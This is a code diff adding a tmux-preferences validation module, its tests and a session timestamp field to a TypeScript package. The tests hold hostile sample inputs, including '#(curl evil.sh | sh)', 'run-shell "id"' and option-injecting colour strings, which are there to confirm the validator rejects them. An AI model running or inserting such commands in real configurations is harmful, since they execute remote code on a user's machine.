+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,YAAY,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAEtC,YAAY,EAAE,QAAQ,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,UAAU,CAAC;AAC7D,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,MAAM,UAAU,CAAC;AAElD,YAAY,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AACnD,OAAO,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,MAAM,cAAc,CAAC;AAElE,YAAY,EAAE,gBAAgB,EAAE,MAAM,WAAW,CAAC;AAClD,OAAO,EAAE,YAAY,EAAE,MAAM,WAAW,CAAC;AAEzC,YAAY,EAAE,aAAa,EAAE,SAAS,EAAE,aAAa,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AAE9F,OAAO,EAAE,kBAAkB,EAAE,cAAc,EAAE,MAAM,UAAU,CAAC;AAE9D,YAAY,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,eAAe,CAAC;AACzD,OAAO,EAAE,WAAW,EAAE,MAAM,eAAe,CAAC;AAE5C,OAAO,EAAE,gBAAgB,EAAE,YAAY,EAAE,MAAM,cAAc,CAAC;AAE9D,YAAY,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AACnE,OAAO,EAAE,SAAS,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAE9D,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAE9D,OAAO,EAAE,oBAAoB,EAAE,mBAAmB,EAAE,MAAM,sBAAsB,CAAC;AAEjF,YAAY,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AACjD,OAAO,EAAE,kBAAkB,EAAE,sBAAsB,EAAE,sBAAsB,EAAE,MAAM,iBAAiB,CAAC;AAErG,YAAY,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC;AACxD,OAAO,EAAE,yBAAyB,EAAE,oBAAoB,EAAE,gBAAgB,EAAE,kBAAkB,EAAE,MAAM,iBAAiB,CAAC;AAExH,YAAY,EAAE,SAAS,EAAE,eAAe,EAAE,MAAM,cAAc,CAAC;AAC/D,OAAO,EACL,kBAAkB,EAAE,aAAa,EAAE,mBAAmB,EACtD,qBAAqB,EAAE,qBAAqB,EAAE,gBAAgB,EAAE,gBAAgB,GACjF,MAAM,cAAc,CAAC"}
@@ -1,6 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.renderTerminalName = exports.factsFromSession = exports.TERMINAL_NAME_TOKENS = exports.DEFAULT_TERMINAL_TEMPLATE = exports.setFunctionKeysVisible = exports.getFunctionKeysVisible = exports.FUNCTION_KEYS_PREF = exports.shouldSubmitOnEnter = exports.COARSE_POINTER_QUERY = exports.rankCommands = exports.commandQuery = exports.toolAppearance = exports.toolClass = exports.shouldFollow = exports.PIN_THRESHOLD_PX = exports.groupEvents = exports.shouldNotifyAi = exports.NOTIFY_COOLDOWN_MS = exports.REPLAY_LIMIT = exports.isPermissionMode = exports.PERMISSION_MODES = exports.preview = exports.PREVIEW_LIMIT = void 0;
3
+ exports.resolveTmuxPrefs = exports.isValidTmuxColor = exports.isValidStatusTemplate = exports.compileStatusTemplate = exports.MAX_STATUS_TEMPLATE = exports.STATUS_TOKENS = exports.DEFAULT_TMUX_PREFS = exports.renderTerminalName = exports.factsFromSession = exports.TERMINAL_NAME_TOKENS = exports.DEFAULT_TERMINAL_TEMPLATE = exports.setFunctionKeysVisible = exports.getFunctionKeysVisible = exports.FUNCTION_KEYS_PREF = exports.shouldSubmitOnEnter = exports.COARSE_POINTER_QUERY = exports.rankCommands = exports.commandQuery = exports.toolAppearance = exports.toolClass = exports.shouldFollow = exports.PIN_THRESHOLD_PX = exports.groupEvents = exports.shouldNotifyAi = exports.NOTIFY_COOLDOWN_MS = exports.REPLAY_LIMIT = exports.isPermissionMode = exports.PERMISSION_MODES = exports.preview = exports.PREVIEW_LIMIT = void 0;
4
4
  var events_1 = require("./events");
5
5
  Object.defineProperty(exports, "PREVIEW_LIMIT", { enumerable: true, get: function () { return events_1.PREVIEW_LIMIT; } });
6
6
  Object.defineProperty(exports, "preview", { enumerable: true, get: function () { return events_1.preview; } });
@@ -35,3 +35,11 @@ Object.defineProperty(exports, "DEFAULT_TERMINAL_TEMPLATE", { enumerable: true,
35
35
  Object.defineProperty(exports, "TERMINAL_NAME_TOKENS", { enumerable: true, get: function () { return terminal_name_1.TERMINAL_NAME_TOKENS; } });
36
36
  Object.defineProperty(exports, "factsFromSession", { enumerable: true, get: function () { return terminal_name_1.factsFromSession; } });
37
37
  Object.defineProperty(exports, "renderTerminalName", { enumerable: true, get: function () { return terminal_name_1.renderTerminalName; } });
38
+ var tmux_prefs_1 = require("./tmux-prefs");
39
+ Object.defineProperty(exports, "DEFAULT_TMUX_PREFS", { enumerable: true, get: function () { return tmux_prefs_1.DEFAULT_TMUX_PREFS; } });
40
+ Object.defineProperty(exports, "STATUS_TOKENS", { enumerable: true, get: function () { return tmux_prefs_1.STATUS_TOKENS; } });
41
+ Object.defineProperty(exports, "MAX_STATUS_TEMPLATE", { enumerable: true, get: function () { return tmux_prefs_1.MAX_STATUS_TEMPLATE; } });
42
+ Object.defineProperty(exports, "compileStatusTemplate", { enumerable: true, get: function () { return tmux_prefs_1.compileStatusTemplate; } });
43
+ Object.defineProperty(exports, "isValidStatusTemplate", { enumerable: true, get: function () { return tmux_prefs_1.isValidStatusTemplate; } });
44
+ Object.defineProperty(exports, "isValidTmuxColor", { enumerable: true, get: function () { return tmux_prefs_1.isValidTmuxColor; } });
45
+ Object.defineProperty(exports, "resolveTmuxPrefs", { enumerable: true, get: function () { return tmux_prefs_1.resolveTmuxPrefs; } });
@@ -13,6 +13,14 @@ export interface AiSessionSummary {
13
13
  origin: 'tmux' | 'launched';
14
14
  permissionMode?: PermissionMode;
15
15
  updatedAt: number;
16
+ /**
17
+ * When this session began, as a unix ms timestamp, or 0 when unknown.
18
+ *
19
+ * For a tmux session that is the agent CLI process's own start time, not the
20
+ * tmux session's: a shell can sit in a pane for days before anyone runs
21
+ * `claude` in it, and the useful answer is when the conversation started.
22
+ */
23
+ startedAt: number;
16
24
  transcript: string;
17
25
  }
18
26
  export declare const REPLAY_LIMIT = 200;
@@ -1 +1 @@
1
- {"version":3,"file":"session.d.ts","sourceRoot":"","sources":["../src/session.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AACtC,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,UAAU,CAAC;AACzC,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAEnD,MAAM,WAAW,gBAAgB;IAC/B,QAAQ,EAAE,MAAM,CAAC;IACjB,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;IACd,MAAM,EAAE,MAAM,CAAC;IACf,UAAU,EAAE,MAAM,CAAC;IACnB,SAAS,EAAE,MAAM,CAAC;IAClB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,QAAQ,CAAC;IAEjB,MAAM,EAAE,MAAM,GAAG,UAAU,CAAC;IAC5B,cAAc,CAAC,EAAE,cAAc,CAAC;IAChC,SAAS,EAAE,MAAM,CAAC;IAGlB,UAAU,EAAE,MAAM,CAAC;CACpB;AAID,eAAO,MAAM,YAAY,MAAM,CAAC"}
1
+ {"version":3,"file":"session.d.ts","sourceRoot":"","sources":["../src/session.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AACtC,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,UAAU,CAAC;AACzC,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAEnD,MAAM,WAAW,gBAAgB;IAC/B,QAAQ,EAAE,MAAM,CAAC;IACjB,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;IACd,MAAM,EAAE,MAAM,CAAC;IACf,UAAU,EAAE,MAAM,CAAC;IACnB,SAAS,EAAE,MAAM,CAAC;IAClB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,QAAQ,CAAC;IAEjB,MAAM,EAAE,MAAM,GAAG,UAAU,CAAC;IAC5B,cAAc,CAAC,EAAE,cAAc,CAAC;IAChC,SAAS,EAAE,MAAM,CAAC;IAClB;;;;;;OAMG;IACH,SAAS,EAAE,MAAM,CAAC;IAGlB,UAAU,EAAE,MAAM,CAAC;CACpB;AAID,eAAO,MAAM,YAAY,MAAM,CAAC"}
@@ -0,0 +1,65 @@
1
+ export interface TmuxStatusPrefs {
2
+ enabled: boolean;
3
+ position: 'top' | 'bottom';
4
+ bg: string;
5
+ fg: string;
6
+ left: string;
7
+ right: string;
8
+ }
9
+ export interface TmuxPrefs {
10
+ /**
11
+ * 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
12
+ * its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
13
+ * scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
14
+ *
15
+ * Browser sessions override this back to `on` per session, because a browser
16
+ * tab has no native selection of a remote pane to fall back on.
17
+ */
18
+ mouse: 'native-select' | 'tmux';
19
+ /** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
20
+ attachMode: 'auto' | 'control' | 'normal';
21
+ historyLimit: number;
22
+ status: TmuxStatusPrefs;
23
+ }
24
+ export declare const STATUS_TOKENS: string[];
25
+ export declare const DEFAULT_TMUX_PREFS: TmuxPrefs;
26
+ /**
27
+ * Compile a status template to a tmux format string.
28
+ *
29
+ * A tmux config can execute shell — `#(...)` is command substitution and
30
+ * `run-shell` runs a command outright — so this is an injection surface with
31
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
32
+ * templates arrive over the network from a browser, it is the only thing
33
+ * between a settings form and arbitrary command execution on a developer's
34
+ * machine.
35
+ *
36
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
37
+ * status bar needs either, and an escape that is one tmux release out of date
38
+ * fails open. The quote is escaped rather than rejected because a user may
39
+ * reasonably want one.
40
+ */
41
+ export declare function compileStatusTemplate(template: string): string;
42
+ /** True when a status template is safe to store and render. */
43
+ export declare function isValidStatusTemplate(template: string): boolean;
44
+ export declare function isValidTmuxColor(value: string): boolean;
45
+ /** Longest status template we will store. Long enough for a real bar, short
46
+ * enough that nobody pastes a script into it. */
47
+ export declare const MAX_STATUS_TEMPLATE = 200;
48
+ /**
49
+ * Merge stored prefs over the defaults, validating as we go.
50
+ *
51
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
52
+ * would replace the whole status object and wipe every key the caller did not
53
+ * name. And an invalid value must fall back rather than reach tmux: a bad
54
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
55
+ * rejects — costing that line silently, since source-file warns and continues
56
+ * rather than aborting.
57
+ *
58
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
59
+ * That is what lets the same function guard a config file on disk and a JSON
60
+ * body from a browser.
61
+ */
62
+ export declare function resolveTmuxPrefs(input?: {
63
+ tmux?: unknown;
64
+ } | null | undefined): TmuxPrefs;
65
+ //# sourceMappingURL=tmux-prefs.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tmux-prefs.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.ts"],"names":[],"mappings":"AAWA,MAAM,WAAW,eAAe;IAC9B,OAAO,EAAE,OAAO,CAAC;IACjB,QAAQ,EAAE,KAAK,GAAG,QAAQ,CAAC;IAC3B,EAAE,EAAE,MAAM,CAAC;IACX,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;CACf;AAED,MAAM,WAAW,SAAS;IACxB;;;;;;;OAOG;IACH,KAAK,EAAE,eAAe,GAAG,MAAM,CAAC;IAChC,+EAA+E;IAC/E,UAAU,EAAE,MAAM,GAAG,SAAS,GAAG,QAAQ,CAAC;IAC1C,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,EAAE,eAAe,CAAC;CACzB;AAeD,eAAO,MAAM,aAAa,UAA6B,CAAC;AAExD,eAAO,MAAM,kBAAkB,EAAE,SAchC,CAAC;AAEF;;;;;;;;;;;;;;GAcG;AACH,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,CAa9D;AAED,+DAA+D;AAC/D,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAO/D;AAOD,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,MAAM,GAAG,OAAO,CAEvD;AAED;kDACkD;AAClD,eAAO,MAAM,mBAAmB,MAAM,CAAC;AAEvC;;;;;;;;;;;;;GAaG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,GAAE;IAAE,IAAI,CAAC,EAAE,OAAO,CAAA;CAAE,GAAG,IAAI,GAAG,SAAc,GAAG,SAAS,CA2B7F"}
@@ -0,0 +1,132 @@
1
+ "use strict";
2
+ // tmux preferences: the shape, the defaults, and the validation.
3
+ //
4
+ // Shared because THREE places need the same answer and any drift between them
5
+ // is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
6
+ // validates what a browser sends before storing it, and the settings UI shows
7
+ // the same choices. The agent's own option list already existed twice once and
8
+ // silently drifted; this is the same mistake one layer up, so it is prevented
9
+ // rather than watched for.
10
+ //
11
+ // Rendering itself stays in the agent — only it produces a tmux file.
12
+ Object.defineProperty(exports, "__esModule", { value: true });
13
+ exports.MAX_STATUS_TEMPLATE = exports.DEFAULT_TMUX_PREFS = exports.STATUS_TOKENS = void 0;
14
+ exports.compileStatusTemplate = compileStatusTemplate;
15
+ exports.isValidStatusTemplate = isValidStatusTemplate;
16
+ exports.isValidTmuxColor = isValidTmuxColor;
17
+ exports.resolveTmuxPrefs = resolveTmuxPrefs;
18
+ // Status template tokens, compiled to tmux formats so nobody has to learn tmux
19
+ // format syntax to restyle the bar.
20
+ const TOKEN_FORMATS = {
21
+ // #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
22
+ folder: '#{b:pane_current_path}',
23
+ path: '#{pane_current_path}',
24
+ session: '#{session_name}',
25
+ window: '#{window_name}',
26
+ title: '#{=21:pane_title}',
27
+ time: '%H:%M',
28
+ date: '%d-%b-%y',
29
+ };
30
+ exports.STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
31
+ exports.DEFAULT_TMUX_PREFS = {
32
+ mouse: 'native-select',
33
+ attachMode: 'auto',
34
+ historyLimit: 100000,
35
+ status: {
36
+ enabled: true,
37
+ position: 'bottom',
38
+ // tmux's own default is bg=green,fg=black. Kept so an upgrade does not
39
+ // silently restyle a bar the user never asked to change.
40
+ bg: 'green',
41
+ fg: 'black',
42
+ left: '[[session]] ',
43
+ right: '[title] [time] [date]',
44
+ },
45
+ };
46
+ /**
47
+ * Compile a status template to a tmux format string.
48
+ *
49
+ * A tmux config can execute shell — `#(...)` is command substitution and
50
+ * `run-shell` runs a command outright — so this is an injection surface with
51
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
52
+ * templates arrive over the network from a browser, it is the only thing
53
+ * between a settings form and arbitrary command execution on a developer's
54
+ * machine.
55
+ *
56
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
57
+ * status bar needs either, and an escape that is one tmux release out of date
58
+ * fails open. The quote is escaped rather than rejected because a user may
59
+ * reasonably want one.
60
+ */
61
+ function compileStatusTemplate(template) {
62
+ const text = String(template);
63
+ if (text.includes('#(')) {
64
+ throw new Error('command substitution "#(" is not allowed in a status template');
65
+ }
66
+ if (/run-shell/i.test(text)) {
67
+ throw new Error('"run-shell" is not allowed in a status template');
68
+ }
69
+ // Escape backslash first, then the quote, or the escapes escape each other.
70
+ const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
71
+ // An unknown [token] is left verbatim: silently dropping it would make a typo
72
+ // look like the setting had no effect.
73
+ return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
74
+ }
75
+ /** True when a status template is safe to store and render. */
76
+ function isValidStatusTemplate(template) {
77
+ try {
78
+ compileStatusTemplate(template);
79
+ return true;
80
+ }
81
+ catch {
82
+ return false;
83
+ }
84
+ }
85
+ // tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
86
+ // interpolated straight into `status-style`, where a stray comma or quote is a
87
+ // second option rather than a colour.
88
+ const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
89
+ function isValidTmuxColor(value) {
90
+ return COLOR_RE.test(String(value || ''));
91
+ }
92
+ /** Longest status template we will store. Long enough for a real bar, short
93
+ * enough that nobody pastes a script into it. */
94
+ exports.MAX_STATUS_TEMPLATE = 200;
95
+ /**
96
+ * Merge stored prefs over the defaults, validating as we go.
97
+ *
98
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
99
+ * would replace the whole status object and wipe every key the caller did not
100
+ * name. And an invalid value must fall back rather than reach tmux: a bad
101
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
102
+ * rejects — costing that line silently, since source-file warns and continues
103
+ * rather than aborting.
104
+ *
105
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
106
+ * That is what lets the same function guard a config file on disk and a JSON
107
+ * body from a browser.
108
+ */
109
+ function resolveTmuxPrefs(input = {}) {
110
+ const stored = (input && typeof input === 'object' ? input.tmux : null) || {};
111
+ const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
112
+ const oneOf = (value, allowed, fallback) => (allowed.includes(value) ? value : fallback);
113
+ const text = (value, fallback, valid) => (typeof value === 'string' && value.length <= exports.MAX_STATUS_TEMPLATE && valid(value)
114
+ ? value
115
+ : fallback);
116
+ return {
117
+ mouse: oneOf(stored.mouse, ['native-select', 'tmux'], exports.DEFAULT_TMUX_PREFS.mouse),
118
+ attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'], exports.DEFAULT_TMUX_PREFS.attachMode),
119
+ historyLimit: Number.isInteger(stored.historyLimit)
120
+ && stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
121
+ ? stored.historyLimit
122
+ : exports.DEFAULT_TMUX_PREFS.historyLimit,
123
+ status: {
124
+ enabled: typeof status.enabled === 'boolean' ? status.enabled : exports.DEFAULT_TMUX_PREFS.status.enabled,
125
+ position: oneOf(status.position, ['top', 'bottom'], exports.DEFAULT_TMUX_PREFS.status.position),
126
+ bg: text(status.bg, exports.DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
127
+ fg: text(status.fg, exports.DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
128
+ left: text(status.left, exports.DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
129
+ right: text(status.right, exports.DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
130
+ },
131
+ };
132
+ }
@@ -30,3 +30,9 @@ export { FUNCTION_KEYS_PREF, getFunctionKeysVisible, setFunctionKeysVisible } fr
30
30
 
31
31
  export type { TerminalNameVars } from './terminal-name';
32
32
  export { DEFAULT_TERMINAL_TEMPLATE, TERMINAL_NAME_TOKENS, factsFromSession, renderTerminalName } from './terminal-name';
33
+
34
+ export type { TmuxPrefs, TmuxStatusPrefs } from './tmux-prefs';
35
+ export {
36
+ DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
37
+ compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor, resolveTmuxPrefs,
38
+ } from './tmux-prefs';
@@ -15,6 +15,14 @@ export interface AiSessionSummary {
15
15
  origin: 'tmux' | 'launched';
16
16
  permissionMode?: PermissionMode;
17
17
  updatedAt: number;
18
+ /**
19
+ * When this session began, as a unix ms timestamp, or 0 when unknown.
20
+ *
21
+ * For a tmux session that is the agent CLI process's own start time, not the
22
+ * tmux session's: a shell can sit in a pane for days before anyone runs
23
+ * `claude` in it, and the useful answer is when the conversation started.
24
+ */
25
+ startedAt: number;
18
26
  // Which file this row was built from, so opening the session resolves to
19
27
  // the same one rather than re-racing the other panes.
20
28
  transcript: string;
@@ -0,0 +1,113 @@
1
+ import { describe, it, expect } from 'vitest';
2
+ import {
3
+ resolveTmuxPrefs, compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor,
4
+ DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
5
+ } from './tmux-prefs';
6
+
7
+ describe('resolveTmuxPrefs', () => {
8
+ it('returns the defaults for an empty input', () => {
9
+ expect(resolveTmuxPrefs({})).toEqual(DEFAULT_TMUX_PREFS);
10
+ });
11
+
12
+ // The same function guards a config file on disk and a JSON body from a
13
+ // browser, so every shape of garbage has to come out as valid prefs.
14
+ it('survives null, undefined and non-objects', () => {
15
+ expect(resolveTmuxPrefs(null)).toEqual(DEFAULT_TMUX_PREFS);
16
+ expect(resolveTmuxPrefs(undefined)).toEqual(DEFAULT_TMUX_PREFS);
17
+ expect(resolveTmuxPrefs({ tmux: 'not an object' } as any)).toEqual(DEFAULT_TMUX_PREFS);
18
+ expect(resolveTmuxPrefs({ tmux: 42 } as any)).toEqual(DEFAULT_TMUX_PREFS);
19
+ });
20
+
21
+ it('overrides only what it names', () => {
22
+ const prefs = resolveTmuxPrefs({ tmux: { mouse: 'tmux' } });
23
+ expect(prefs.mouse).toBe('tmux');
24
+ expect(prefs.historyLimit).toBe(DEFAULT_TMUX_PREFS.historyLimit);
25
+ });
26
+
27
+ // status is nested; a shallow spread would wipe the siblings.
28
+ it('keeps unnamed status siblings', () => {
29
+ const prefs = resolveTmuxPrefs({ tmux: { status: { bg: 'colour238' } } });
30
+ expect(prefs.status.bg).toBe('colour238');
31
+ expect(prefs.status.fg).toBe(DEFAULT_TMUX_PREFS.status.fg);
32
+ expect(prefs.status.enabled).toBe(DEFAULT_TMUX_PREFS.status.enabled);
33
+ });
34
+
35
+ it('falls back rather than passing an unknown enum through to tmux', () => {
36
+ expect(resolveTmuxPrefs({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
37
+ expect(resolveTmuxPrefs({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
38
+ expect(resolveTmuxPrefs({ tmux: { status: { position: 'sideways' } } }).status.position)
39
+ .toBe('bottom');
40
+ });
41
+
42
+ it('rejects a non-integer, negative or absurd history limit', () => {
43
+ for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
44
+ expect(resolveTmuxPrefs({ tmux: { historyLimit: bad } }).historyLimit)
45
+ .toBe(DEFAULT_TMUX_PREFS.historyLimit);
46
+ }
47
+ expect(resolveTmuxPrefs({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
48
+ });
49
+
50
+ // The one that matters once a browser can send this: a template carrying
51
+ // command substitution must never be stored.
52
+ it('rejects a status template containing command substitution', () => {
53
+ const prefs = resolveTmuxPrefs({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
54
+ expect(prefs.status.left).toBe(DEFAULT_TMUX_PREFS.status.left);
55
+ });
56
+
57
+ it('rejects a status template containing run-shell', () => {
58
+ const prefs = resolveTmuxPrefs({ tmux: { status: { right: 'x run-shell "id"' } } });
59
+ expect(prefs.status.right).toBe(DEFAULT_TMUX_PREFS.status.right);
60
+ });
61
+
62
+ it('rejects an over-long status template', () => {
63
+ const long = 'a'.repeat(MAX_STATUS_TEMPLATE + 1);
64
+ expect(resolveTmuxPrefs({ tmux: { status: { left: long } } }).status.left)
65
+ .toBe(DEFAULT_TMUX_PREFS.status.left);
66
+ });
67
+
68
+ it('rejects a colour that is not a colour', () => {
69
+ for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
70
+ expect(resolveTmuxPrefs({ tmux: { status: { bg: bad } } }).status.bg)
71
+ .toBe(DEFAULT_TMUX_PREFS.status.bg);
72
+ }
73
+ });
74
+
75
+ it('accepts the colour forms tmux understands', () => {
76
+ for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
77
+ expect(resolveTmuxPrefs({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
78
+ }
79
+ });
80
+ });
81
+
82
+ describe('compileStatusTemplate', () => {
83
+ it('compiles every advertised token to something else', () => {
84
+ for (const token of STATUS_TOKENS) {
85
+ expect(compileStatusTemplate(`[${token}]`)).not.toBe(`[${token}]`);
86
+ }
87
+ });
88
+
89
+ it('leaves an unknown token verbatim rather than dropping it', () => {
90
+ expect(compileStatusTemplate('[nonsense]')).toBe('[nonsense]');
91
+ });
92
+
93
+ it('escapes a quote so it cannot end the emitted tmux string', () => {
94
+ expect(compileStatusTemplate('say "hi"')).not.toMatch(/(?<!\\)"/);
95
+ });
96
+
97
+ it('throws on command substitution and run-shell', () => {
98
+ expect(() => compileStatusTemplate('#(id)')).toThrow(/not allowed/i);
99
+ expect(() => compileStatusTemplate('run-shell id')).toThrow(/not allowed/i);
100
+ });
101
+ });
102
+
103
+ describe('validators', () => {
104
+ it('isValidStatusTemplate mirrors compileStatusTemplate', () => {
105
+ expect(isValidStatusTemplate('[folder]')).toBe(true);
106
+ expect(isValidStatusTemplate('#(id)')).toBe(false);
107
+ });
108
+
109
+ it('isValidTmuxColor rejects anything that could inject a second option', () => {
110
+ expect(isValidTmuxColor('green')).toBe(true);
111
+ expect(isValidTmuxColor('green,fg=red')).toBe(false);
112
+ });
113
+ });
@@ -0,0 +1,162 @@
1
+ // tmux preferences: the shape, the defaults, and the validation.
2
+ //
3
+ // Shared because THREE places need the same answer and any drift between them
4
+ // is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
5
+ // validates what a browser sends before storing it, and the settings UI shows
6
+ // the same choices. The agent's own option list already existed twice once and
7
+ // silently drifted; this is the same mistake one layer up, so it is prevented
8
+ // rather than watched for.
9
+ //
10
+ // Rendering itself stays in the agent — only it produces a tmux file.
11
+
12
+ export interface TmuxStatusPrefs {
13
+ enabled: boolean;
14
+ position: 'top' | 'bottom';
15
+ bg: string;
16
+ fg: string;
17
+ left: string;
18
+ right: string;
19
+ }
20
+
21
+ export interface TmuxPrefs {
22
+ /**
23
+ * 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
24
+ * its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
25
+ * scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
26
+ *
27
+ * Browser sessions override this back to `on` per session, because a browser
28
+ * tab has no native selection of a remote pane to fall back on.
29
+ */
30
+ mouse: 'native-select' | 'tmux';
31
+ /** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
32
+ attachMode: 'auto' | 'control' | 'normal';
33
+ historyLimit: number;
34
+ status: TmuxStatusPrefs;
35
+ }
36
+
37
+ // Status template tokens, compiled to tmux formats so nobody has to learn tmux
38
+ // format syntax to restyle the bar.
39
+ const TOKEN_FORMATS: Record<string, string> = {
40
+ // #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
41
+ folder: '#{b:pane_current_path}',
42
+ path: '#{pane_current_path}',
43
+ session: '#{session_name}',
44
+ window: '#{window_name}',
45
+ title: '#{=21:pane_title}',
46
+ time: '%H:%M',
47
+ date: '%d-%b-%y',
48
+ };
49
+
50
+ export const STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
51
+
52
+ export const DEFAULT_TMUX_PREFS: TmuxPrefs = {
53
+ mouse: 'native-select',
54
+ attachMode: 'auto',
55
+ historyLimit: 100000,
56
+ status: {
57
+ enabled: true,
58
+ position: 'bottom',
59
+ // tmux's own default is bg=green,fg=black. Kept so an upgrade does not
60
+ // silently restyle a bar the user never asked to change.
61
+ bg: 'green',
62
+ fg: 'black',
63
+ left: '[[session]] ',
64
+ right: '[title] [time] [date]',
65
+ },
66
+ };
67
+
68
+ /**
69
+ * Compile a status template to a tmux format string.
70
+ *
71
+ * A tmux config can execute shell — `#(...)` is command substitution and
72
+ * `run-shell` runs a command outright — so this is an injection surface with
73
+ * exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
74
+ * templates arrive over the network from a browser, it is the only thing
75
+ * between a settings form and arbitrary command execution on a developer's
76
+ * machine.
77
+ *
78
+ * Rejecting rather than escaping is deliberate for those two: no legitimate
79
+ * status bar needs either, and an escape that is one tmux release out of date
80
+ * fails open. The quote is escaped rather than rejected because a user may
81
+ * reasonably want one.
82
+ */
83
+ export function compileStatusTemplate(template: string): string {
84
+ const text = String(template);
85
+ if (text.includes('#(')) {
86
+ throw new Error('command substitution "#(" is not allowed in a status template');
87
+ }
88
+ if (/run-shell/i.test(text)) {
89
+ throw new Error('"run-shell" is not allowed in a status template');
90
+ }
91
+ // Escape backslash first, then the quote, or the escapes escape each other.
92
+ const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
93
+ // An unknown [token] is left verbatim: silently dropping it would make a typo
94
+ // look like the setting had no effect.
95
+ return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
96
+ }
97
+
98
+ /** True when a status template is safe to store and render. */
99
+ export function isValidStatusTemplate(template: string): boolean {
100
+ try {
101
+ compileStatusTemplate(template);
102
+ return true;
103
+ } catch {
104
+ return false;
105
+ }
106
+ }
107
+
108
+ // tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
109
+ // interpolated straight into `status-style`, where a stray comma or quote is a
110
+ // second option rather than a colour.
111
